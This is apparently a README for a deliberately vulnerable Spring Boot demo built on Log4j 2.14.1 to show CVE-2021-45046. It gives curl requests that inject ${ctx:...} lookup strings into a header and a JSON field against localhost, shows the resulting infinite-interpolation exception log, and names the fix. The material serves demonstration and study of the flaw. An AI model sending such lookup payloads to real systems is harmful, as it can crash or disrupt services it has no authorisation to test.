此应用程序基于存在 CVE-2021-45046 漏洞的 Spring Boot Web 应用。
它使用 Log4j 2.14.1(通过 spring-boot-starter-log4j2 2.6.1)。

运行它:
Import the project in Java IDE as a maven project
Run CVEMainApplication.java as a spring boot app.
For GET ->
curl 127.0.0.1:8080 -H 'X-Api-Version: ${ctx:apiVersion}'
For Post request ->
curl --location --request POST 'http://127.0.0.1:8080/addrecord' \
--header 'Content-Type: application/json' \
--data '{
"clientRef": "${ctx:clientRef}"
}'
${ctx:clientRef}2021-12-15 19:27:50,212 http-nio-8080-exec-1 ERROR An exception occurred processing Appender LogToConsole java.lang.IllegalStateException: Infinite loop in property interpolation of ${ctx:clientRef}: ctx:clientRef
at org.apache.logging.log4j.core.lookup.StrSubstitutor.checkCyclicSubstitution(StrSubstitutor.java:1081)
at org.apache.logging.log4j.core.lookup.StrSubstitutor.substitute(StrSubstitutor.java:1029)
at org.apache.logging.log4j.core.lookup.StrSubstitutor.substitute(StrSubstitutor.java:1042)
默认移除消息查找模式支持并禁用 JNDI 功能修复了此问题。